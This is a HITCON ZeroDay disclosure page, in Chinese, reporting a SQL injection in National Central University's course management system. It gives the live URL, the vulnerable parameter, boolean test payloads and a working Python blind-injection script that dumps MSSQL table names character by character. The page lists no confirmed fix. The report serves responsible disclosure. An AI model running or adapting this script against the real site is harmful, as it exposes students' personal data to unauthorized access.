中央大學課務管理系統存在SQL injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00322
  •  發信 Vendor: 國立中央大學
  • Title: 中央大學課務管理系統存在SQL injection
  • Introduction: sqli

處理狀態

目前狀態

公開
Last Update : 2021/08/15
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2021/06/15 00:23:50 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/06/15 00:25:24 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/06/15 13:53:58 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/06/15 14:02:24 : 新提交 (由 wqwfeoipwqjfpwiejfdpioqweoifjqwf 更新此狀態)
  • 2021/06/15 23:45:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/16 10:19:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/16 10:19:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/07/02 10:38:15 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/08/15 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://cis.ncu.edu.tw/CourseMgr/index.php?IS_TYPE=double_crs_report

敘述

圖片
'and(1=1)and'%'=''and(2=1)and'%'='分別進行查詢可發現返回了兩種不同結果

測試後發現backend是MSSQL
以下是簡單的python POC,可任意dump資料
(由於僅用於證明漏洞存在,沒有要亂來,所以寫的很髒也不是很嚴謹,測試時還請見諒)

import requests
import time
from string import Template

session = requests.session()
session.post("https://cis.ncu.edu.tw/CourseMgr/index.php",
                     data={"login_userid": "**Redacted**", "login_userpwd": "**Redacted**"})  # replace with your userid/password

payload = "1'and(ascii(substring((select/**/schema_name/**/from/**/(select/**/*,row_number()/**/over(order/**/by/**/schema_name)as/**/rownum/**/from/**/information_schema.schemata)/**/as/**/tbl/**/where/**/rownum=$row),$p,1))>$c)and'%'='"
payload = payload.replace("schema_name","table_name").replace("information_schema.schemata","information_schema.tables")  # you can replace with your target column and table
payload = Template(payload)
flag = ''
for i in range(1, 100):
    mid = int(255 / 2)
    max_c = 255
    min_c = 1
    while min_c != mid:
        data = {"find_order_field": "1",
                'find_crs_no': payload.substitute(p=i, c=mid, row=2)}  # const row :) , you can replace with your target row
        payload_url = "https://cis.ncu.edu.tw/CourseMgr/index.php?IS_TYPE=double_crs_report&IS_ACTION=list_search_result"
        print(data)
        resp = session.post(url=payload_url, data=data).text
        print('Python' in resp)
        if 'Python' in resp:
            min_c, mid = mid, int((mid + max_c) / 2)
        else:
            max_c, mid = mid, int((mid + min_c) / 2)
    print(f"found:{chr(min_c + 1)}")
    flag += chr(min_c + 1)
    print(f"now flag:{flag}")
    time.sleep(3)

圖片

這個subdomain下蠻多服務的,如果會互相影響的話(例如選課系統)
建議早點修補,以免造成危害

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;